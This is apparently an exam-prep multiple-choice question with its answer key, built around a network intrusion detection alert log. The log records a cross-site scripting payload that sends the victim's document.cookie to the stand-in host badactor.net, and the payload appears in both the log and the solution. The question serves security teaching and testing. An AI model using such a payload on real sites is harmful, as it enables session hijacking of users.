Examkin

Question

Difficulty: MediumNetwork Security Monitoring and Alerting

A security analyst is investigating a high-severity alert generated by a Network Intrusion Detection System (NIDS) positioned at an internal network segment boundary. The NIDS alert log records the following HTTP request event:

2026-07-27T10:14:22Z NIDS_ALERT [ID: 8042911]
SRC: 192.168.10.44:51204 -> DST: 10.1.20.15:80
PROTO: TCP HTTP/1.1
PAYLOAD: GET /profile.php?user=<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script> HTTP/1.1
HOST: app-server01.internal.corp
USER-AGENT: Mozilla/5.0

Based on the log entry, which of the following correctly identifies the specific attack threat vector and the most effective inline network control to prevent subsequent payload execution?

  1. Cross-Site Scripting (XSS); implement a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) inline inspect rule.Answer
  2. B
    SQL Injection (SQLi); apply parameterized queries and input sanitization directly on the database engine.
  3. C
    Cross-Site Scripting (XSS); apply network-level stateless ACLs on the perimeter router to block all inbound traffic to port 80.
  4. D
    Cross-Site Scripting (XSS); install an out-of-band network Test Access Point (TAP) to actively drop malicious HTTP packets.

Answer

The attack vector is Cross-Site Scripting (XSS), and the most effective inline mitigation control is deploying a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) to filter malicious application-layer HTTP payloads.
The log payload contains a client-side JavaScript snippet (`<script>document.cookie...`) designed to steal session credentials, which defines a Cross-Site Scripting (XSS) attack. To actively block this threat at the network level without bringing down web service functionality, an inline application-layer control such as a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) is required.

Step-by-Step Solution

1
Analyze the captured NIDS payload log snippet
The URL query parameter contains embedded HTML/JavaScript code (<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script>) targeting client session cookies.
Identifying executable client-side scripts within HTTP parameters differentiates Cross-Site Scripting (XSS) from database query manipulation (SQLi).
2
Evaluate required security control capability
The security control must inspect Layer 7 HTTP application payloads inline to block malicious script vectors without disrupting legitimate web traffic.
Passive out-of-band sensors (such as TAPs) cannot drop packets, and layer 3/4 firewalls or router ACLs cannot inspect deep application parameters.
3
Select the appropriate network mitigation solution
A Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) operating inline provides real-time HTTP payload inspection and filtering.
Inline application-layer security tools parse URI queries and prevent malicious scripts from reaching vulnerable endpoints.

Key Concept

Cross-Site Scripting (XSS) Detection and Application Layer Security Monitoring
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic